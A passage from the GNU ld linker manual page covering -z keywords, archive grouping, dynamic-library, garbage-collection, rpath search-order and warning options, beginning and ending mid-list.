Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targetted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

